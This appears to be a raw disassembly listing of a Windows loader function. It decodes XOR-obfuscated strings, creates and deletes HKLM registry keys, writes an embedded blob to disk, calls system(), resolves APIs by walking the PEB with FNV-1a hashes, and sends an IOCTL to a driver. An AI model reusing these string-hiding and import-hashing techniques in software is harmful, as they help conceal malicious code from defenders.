mov dword [rbp + 0x34], 0x300027
mov dword [rbp + 0x38], 0x21003b
mov dword [rbp + 0x3c], 0x300003
mov dword [rbp + 0x40], 0x260027
mov dword [rbp + 0x44], 0x3a003c
mov dword [rbp + 0x48], 0x9003b
mov dword [rbp + 0x4c], 0x3c0018
mov dword [rbp + 0x50], 0x270036
mov dword [rbp + 0x54], 0x26003a
mov dword [rbp + 0x58], 0x33003a
mov dword [rbp + 0x5c], 0x750021
mov dword [rbp + 0x60], 0x300011
mov dword [rbp + 0x64], 0x300033
mov dword [rbp + 0x68], 0x31003b
mov dword [rbp + 0x6c], 0x270030
mov word [rbp + 0x70], bx
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor word [rbp + rcx*2 - 0xe], ax
inc rcx
cmp rcx, 0x3f
jae 0x140053087
movzx eax, byte [rbp - 0x10]
jmp 0x140053070
mov word [rbp + 0x70], bx
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x1400530f3
mov qword [rsp + 0x40], rbx
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x1401493c0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [str.4_bc_r__32__]
movdqu xmmword [rsp + 0x60], xmm1
mov rcx, rbx
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x52], al
add rcx, 2
cmp rcx, 0x1e
jb 0x140053112
mov byte [rsp + 0x6f], bl
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x110], rbx
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x118], rax
mov byte [rbp + 0x100], bl
lea rax, [rsp + 0x51]
inc rsi
cmp byte [rax + rsi], bl
jne 0x140053157
mov r8, rsi
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x100]
call fcn.140026700
nop
call fcn.14004f8e0
test al, al
jne 0x14005336b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rdx, qword [rbp + 0x100]
mov r8d, Ordinal_35
lea rcx, [rbp - 0x10]
call fcn.14006f510
nop
mov r8d, 0x11400
lea rdx, [0x140833bd0]
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp - 8]
test byte [rdx + rax + 0x10], 6
je 0x140053291
call fcn.14006fe00
test rax, rax
jne 0x14005320d
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x10]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 8], rax
cmp qword [rbp + 0x78], 0
je 0x140053272
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x68]
cmp qword [rax], rcx
jne 0x140053272
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x80]
mov qword [rax], rcx
mov rax, qword [rbp + 0x30]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x48]
mov dword [rax], edx
cmp byte [rbp + 0x74], 0
je 0x140053281
lea rcx, [rbp - 8]
call fcn.14006fe00
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
jmp 0x140053337
call fcn.14006fe00
test rax, rax
jne 0x1400532b8
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x10]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 8], rax
cmp qword [rbp + 0x78], 0
je 0x14005331d
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x68]
cmp qword [rax], rcx
jne 0x14005331d
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x80]
mov qword [rax], rcx
mov rax, qword [rbp + 0x30]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x48]
mov dword [rax], edx
cmp byte [rbp + 0x74], 0
je 0x14005332c
lea rcx, [rbp - 8]
call fcn.14006fe00
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rcx, qword [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp - 0x20], rbx
mov al, 0x45
mov dword [rbp - 0x10], 0x160045
mov dword [rbp - 0xc], 0x3000a
mov dword [rbp - 8], 0x120011
mov dword [rbp - 4], 0x170004
mov dword [rbp], 0x190000
mov dword [rbp + 4], 0x2c0008
mov dword [rbp + 8], 0x370026
mov dword [rbp + 0xc], 0x36002a
mov dword [rbp + 0x10], 0x23002a
mov dword [rbp + 0x14], 0x190031
mov dword [rbp + 0x18], 0x2c0012
mov dword [rbp + 0x1c], 0x21002b
mov dword [rbp + 0x20], 0x32002a
mov dword [rbp + 0x24], 0x650036
mov dword [rbp + 0x28], 0x11000b
mov dword [rbp + 0x2c], 0x60019
mov dword [rbp + 0x30], 0x370030
mov dword [rbp + 0x34], 0x200037
mov dword [rbp + 0x38], 0x31002b
mov dword [rbp + 0x3c], 0x200013
mov dword [rbp + 0x40], 0x360037
mov dword [rbp + 0x44], 0x2a002c
mov dword [rbp + 0x48], 0x19002b
mov dword [rbp + 0x4c], 0x2c0008
mov dword [rbp + 0x50], 0x370026
mov dword [rbp + 0x54], 0x36002a
mov dword [rbp + 0x58], 0x23002a
mov dword [rbp + 0x5c], 0x650031
mov dword [rbp + 0x60], 0x200001
mov dword [rbp + 0x64], 0x200023
mov dword [rbp + 0x68], 0x21002b
mov dword [rbp + 0x6c], 0x370020
mov word [rbp + 0x70], bx
mov rcx, rbx
nop dword [rax + rax]
movsx eax, al
xor word [rbp + rcx*2 - 0xe], ax
inc rcx
cmp rcx, 0x3f
jae 0x140053477
movzx eax, byte [rbp - 0x10]
jmp 0x140053460
mov word [rbp + 0x70], bx
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400534bd
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x18], rbx
mov al, Ordinal_41
mov dword [rbp - 0x10], 0x7b0028
mov dword [rbp - 0xc], 0x7b0071
mov dword [rbp - 8], 0x6d007c
mov dword [rbp - 4], 0x740065
mov dword [rbp], 0x5d006b
mov dword [rbp + 4], 0x5a005a
mov dword [rbp + 8], 0x46004d
mov dword [rbp + 0xc], 0x6b005c
mov dword [rbp + 0x10], 0x460047
mov dword [rbp + 0x14], 0x5a005c
mov dword [rbp + 0x18], 0x440047
mov dword [rbp + 0x1c], 0x4d007b
mov dword [rbp + 0x20], 0x74005c
mov dword [rbp + 0x24], 0x47006b
mov dword [rbp + 0x28], 0x5c0046
mov dword [rbp + 0x2c], 0x47005a
mov dword [rbp + 0x30], 0x740044
mov dword [rbp + 0x34], 0x4d0066
mov dword [rbp + 0x38], 0x5f005c
mov dword [rbp + 0x3c], 0x5a0047
mov dword [rbp + 0x40], 0x6e0043
mov dword [rbp + 0x44], 0x50
mov rcx, rbx
movsx eax, al
xor word [rbp + rcx*2 - 0xe], ax
movsx eax, byte [rbp - 0x10]
xor word [rbp + rcx*2 - 0xc], ax
add rcx, 2
cmp rcx, 0x2a
jae 0x140053581
movzx eax, byte [rbp - 0x10]
jmp 0x140053560
mov word [rbp + 0x46], bx
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400537b7
call fcn.14004f8e0
test al, al
jne 0x14005378b
mov dword [rsp + 0x78], 0x72724507
mov word [rsp + 0x7c], 0x726f
mov byte [rsp + 0x7e], al
movdqa xmm0, xmmword [0x140149890]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1401491e0]
movdqu xmmword [rsp + 0x60], xmm1
nop dword [rax]
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rbx + 0x51], al
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rbx + 0x52], al
add rbx, 2
cmp rbx, 0x1e
jb 0x1400535f0
mov byte [rsp + 0x6f], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x79]
lea rdx, [rsp + 0x51]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400536b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400536b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400536b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140053690
cmp r8d, 0x2fa62ca8
je 0x1400536bb
test r9d, r9d
jne 0x140053670
mov rax, qword [rax]
jmp 0x140053640
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0xbb8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140053766
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140053766
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140053761
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140053740
cmp r8d, 0xcded1a85
je 0x14005376b
test r9d, r9d
jne 0x140053720
mov rax, qword [rax]
jmp 0x1400536f0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 2
call rdx
jmp 0x1400537b7
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x220990
mov rcx, qword [0x140850a08]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400537fb
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400537f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400537f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6d80
mov al, 1
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.1400d64d0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret